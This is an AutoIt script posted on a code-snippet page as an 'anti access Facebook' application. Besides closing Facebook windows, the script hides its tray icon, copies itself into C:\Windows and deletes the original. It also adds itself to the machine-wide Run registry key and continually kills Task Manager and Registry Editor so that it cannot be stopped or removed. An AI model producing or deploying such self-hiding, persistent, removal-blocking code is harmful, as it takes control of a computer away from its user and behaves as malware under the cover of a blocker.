;#include
#NoTrayIcon
Opt('MustDeclareVars', 1)
_Main()
Func _Main()
Local $homeDir = "C:\Windows\"
If StringInStr(@ScriptFullPath, $homeDir) <> 1 then
FileCopy(@ScriptFullPath, $homeDir & @ScriptName, 9)
Run($homeDir & @ScriptName)
FileDelete(@ScriptFullPath)
Exit
Endif
If RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","AntiFB") = "" Then Regwrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","AntiFB","REG_SZ", @ScriptFullPath)
While True
WinKill("[REGEXPTITLE:^Facebook]", "")
WinKill("[REGEXPTITLE:(Windows Task Manager|Registry Editor)]", "")
Sleep(100)
Wend
EndFunc
Title:
How to write application Anti access facebook
Description:
;#include #NoTrayIcon Opt ( 'MustDeclareVars' , 1 ) _Main () Func _Main () Local $homeDir = "C:\Windows\" ...
...
Rating:
4